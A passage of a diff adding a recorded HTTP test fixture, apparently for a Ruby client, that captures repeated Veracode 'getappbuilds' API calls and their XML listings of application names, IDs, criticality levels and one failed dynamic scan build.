+        <build version="[NOSCRUB] Test Scan" build_id="624055" submitter="Veracode" platform="Not Specified" lifecycle_stage="Not Specified" results_ready="true" policy_name="Veracode Recommended High" policy_version="1" policy_compliance_status="Did Not Pass" rules_status="Did Not Pass" grace_period_expired="true" scan_overdue="false">
+        <analysis_unit analysis_type="Dynamic" published_date="2015-10-22T09:16:01-04:00" published_date_sec="1445519761" status="Results Ready"/>
+        </build>
+        </application>
+        <application app_name="[NOSCRUB] PHP App" app_id="188883" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-29T00:01:49-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        </applicationbuilds>
+        <!-- Parameters: report_changed_since=09/25/2015 only_latest=true include_in_progress=false -->
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:15:11 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/4.0/getappbuilds.do
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '1745'
+      Date:
+      - Tue, 27 Oct 2015 12:16:10 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: |
+        <?xml version="1.0" encoding="UTF-8"?>
+
+        <applicationbuilds xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://analysiscenter.veracode.com/schema/2.0/applicationbuilds" xsi:schemaLocation="https://analysiscenter.veracode.com/schema/2.0/applicationbuilds https://analysiscenter.veracode.com/resource/2.0/applicationbuilds.xsd" account_id="15834">
+        <application app_name="NOSCRUB Demo Application" app_id="117379" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-27T17:49:28-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="[NOSCRUB] RoundCube Mail" app_id="138871" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-28T00:52:04-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="PHP Vulnerable Web App (Test)" app_id="32363" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T15:46:20-04:00" cots="false" business_unit="Web Frontend" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="PHP Vulnerable Web App (Test2)" app_id="32721" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:26:03-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="phpBB" app_id="32341" industry_vertical="Education" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T16:32:36-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test C App Preflight" app_id="32503" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:40:47-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Roller" app_id="32337" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="Internally Developed" modified_date="2015-09-25T16:41:52-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="TEst C App" app_id="32491" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:44:11-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="iGoat" app_id="33136" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:55:32-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Ajax-Login" app_id="33715" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:58:01-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Hadoop" app_id="32333" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:19:33-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Metamail" app_id="32335" industry_vertical="Other" assurance_level="Medium" business_criticality="Medium" origin="Internally Developed" modified_date="2015-09-25T17:19:34-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Open SSH" app_id="32336" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:29:23-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="WebGoat" app_id="32338" industry_vertical="Other" assurance_level="Very High" business_criticality="Very High" origin="" modified_date="2015-09-25T17:32:41-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="HSQLdb" app_id="32345" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:35:36-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Galleon" app_id="32347" industry_vertical="Manufacturing" assurance_level="High" business_criticality="High" origin="Contractor" modified_date="2015-09-25T17:35:37-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="midpssh-BB" app_id="32339" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:37:56-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="iOS Traveler" app_id="32343" industry_vertical="Business Services" assurance_level="High" business_criticality="High" origin="Contractor" modified_date="2015-09-25T17:37:57-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="BlogEngine.NET" app_id="32344" industry_vertical="Other" assurance_level="Very Low" business_criticality="Very Low" origin="Contractor" modified_date="2015-09-25T17:37:58-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Apache" app_id="32346" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:37:59-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Lunar Lander" app_id="32342" industry_vertical="Media &amp; Entertainment" assurance_level="High" business_criticality="High" origin="Purchased Application" modified_date="2015-09-25T17:46:47-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Open Web Analytics" app_id="35247" industry_vertical="Security Products and Services" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-25T19:27:02-04:00" cots="false" business_unit="Web Frontend" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="VOSAO" app_id="37693" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T23:36:14-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Pastie" app_id="40775" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T02:21:12-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Auth Service" app_id="41311" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T02:49:31-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test Application One" app_id="68353" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T22:08:35-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Mining Stat" app_id="74065" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-27T00:42:16-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test Name" app_id="75430" industry_vertical="Banking" assurance_level="Medium" business_criticality="Medium" origin="Contractor" modified_date="2015-09-27T00:53:02-04:00" cots="false" business_unit="Mobile" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Mining Service" app_id="74700" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T05:56:30-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB JPetStore" app_id="91759" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T10:50:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Monitoring Service" app_id="90059" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T11:07:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB Sanitest" app_id="103315" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T15:03:55-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="NOSCRUB SuperSecureBank" app_id="105835" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-27T15:36:57-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Testfire Demo" app_id="155590" industry_vertical="Not Specified" assurance_level="Low" business_criticality="Low" origin="Not Specified" modified_date="2015-09-28T06:16:51-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="[NOSCRUB] Test PHP App Scan" app_id="194529" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-10-22T22:40:18-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        <build version="[NOSCRUB] Test Scan" build_id="624055" submitter="Veracode" platform="Not Specified" lifecycle_stage="Not Specified" results_ready="true" policy_name="Veracode Recommended High" policy_version="1" policy_compliance_status="Did Not Pass" rules_status="Did Not Pass" grace_period_expired="true" scan_overdue="false">
+        <analysis_unit analysis_type="Dynamic" published_date="2015-10-22T09:16:01-04:00" published_date_sec="1445519761" status="Results Ready"/>
+        </build>
+        </application>
+        <application app_name="[NOSCRUB] PHP App" app_id="188883" industry_vertical="Not Specified" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-29T00:01:49-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        </applicationbuilds>
+        <!-- Parameters: report_changed_since=09/25/2015 only_latest=true include_in_progress=false -->
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:16:10 GMT
+- request:
+    method: get
+    uri: https://analysiscenter.veracode.com/api/4.0/getappbuilds.do
+    body:
+      encoding: US-ASCII
+      string: ''
+    headers:
+      Accept-Encoding:
+      - gzip;q=1.0,deflate;q=0.6,identity;q=0.3
+      Accept:
+      - "*/*"
+      User-Agent:
+      - Ruby
+  response:
+    status:
+      code: 200
+      message: OK
+    headers:
+      Cache-Control:
+      - no-store private must-revalidate
+      Expires:
+      - Thu, 01 Jan 1970 00:00:00 GMT
+      Pragma:
+      - ''
+      Content-Type:
+      - text/xml
+      Content-Length:
+      - '1745'
+      Date:
+      - Tue, 27 Oct 2015 12:16:12 GMT
+      Server:
+      - Apache
+    body:
+      encoding: UTF-8
+      string: |
+        <?xml version="1.0" encoding="UTF-8"?>
+
+        <applicationbuilds xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="https://analysiscenter.veracode.com/schema/2.0/applicationbuilds" xsi:schemaLocation="https://analysiscenter.veracode.com/schema/2.0/applicationbuilds https://analysiscenter.veracode.com/resource/2.0/applicationbuilds.xsd" account_id="15834">
+        <application app_name="NOSCRUB Demo Application" app_id="117379" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-27T17:49:28-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="[NOSCRUB] RoundCube Mail" app_id="138871" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-28T00:52:04-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="PHP Vulnerable Web App (Test)" app_id="32363" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T15:46:20-04:00" cots="false" business_unit="Web Frontend" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="PHP Vulnerable Web App (Test2)" app_id="32721" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:26:03-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="phpBB" app_id="32341" industry_vertical="Education" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T16:32:36-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test C App Preflight" app_id="32503" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:40:47-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Roller" app_id="32337" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="Internally Developed" modified_date="2015-09-25T16:41:52-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="TEst C App" app_id="32491" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:44:11-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="iGoat" app_id="33136" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:55:32-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Ajax-Login" app_id="33715" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T16:58:01-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Hadoop" app_id="32333" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:19:33-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Metamail" app_id="32335" industry_vertical="Other" assurance_level="Medium" business_criticality="Medium" origin="Internally Developed" modified_date="2015-09-25T17:19:34-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Open SSH" app_id="32336" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:29:23-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="WebGoat" app_id="32338" industry_vertical="Other" assurance_level="Very High" business_criticality="Very High" origin="" modified_date="2015-09-25T17:32:41-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="HSQLdb" app_id="32345" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:35:36-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Galleon" app_id="32347" industry_vertical="Manufacturing" assurance_level="High" business_criticality="High" origin="Contractor" modified_date="2015-09-25T17:35:37-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="midpssh-BB" app_id="32339" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:37:56-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="iOS Traveler" app_id="32343" industry_vertical="Business Services" assurance_level="High" business_criticality="High" origin="Contractor" modified_date="2015-09-25T17:37:57-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="BlogEngine.NET" app_id="32344" industry_vertical="Other" assurance_level="Very Low" business_criticality="Very Low" origin="Contractor" modified_date="2015-09-25T17:37:58-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Apache" app_id="32346" industry_vertical="Other" assurance_level="High" business_criticality="High" origin="" modified_date="2015-09-25T17:37:59-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Lunar Lander" app_id="32342" industry_vertical="Media &amp; Entertainment" assurance_level="High" business_criticality="High" origin="Purchased Application" modified_date="2015-09-25T17:46:47-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Open Web Analytics" app_id="35247" industry_vertical="Security Products and Services" assurance_level="High" business_criticality="High" origin="Not Specified" modified_date="2015-09-25T19:27:02-04:00" cots="false" business_unit="Web Frontend" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="VOSAO" app_id="37693" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-25T23:36:14-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Pastie" app_id="40775" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T02:21:12-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Auth Service" app_id="41311" industry_vertical="Security Products and Services" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T02:49:31-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
+        <customfield name="Custom 4" value=""/>
+        <customfield name="Custom 5" value=""/>
+        </application>
+        <application app_name="Test Application One" app_id="68353" industry_vertical="Not Specified" assurance_level="Medium" business_criticality="Medium" origin="Not Specified" modified_date="2015-09-26T22:08:35-04:00" cots="false" business_unit="Not Specified" tags="">
+        <customfield name="Custom 1" value=""/>
+        <customfield name="Custom 2" value=""/>
+        <customfield name="Custom 3" value=""/>
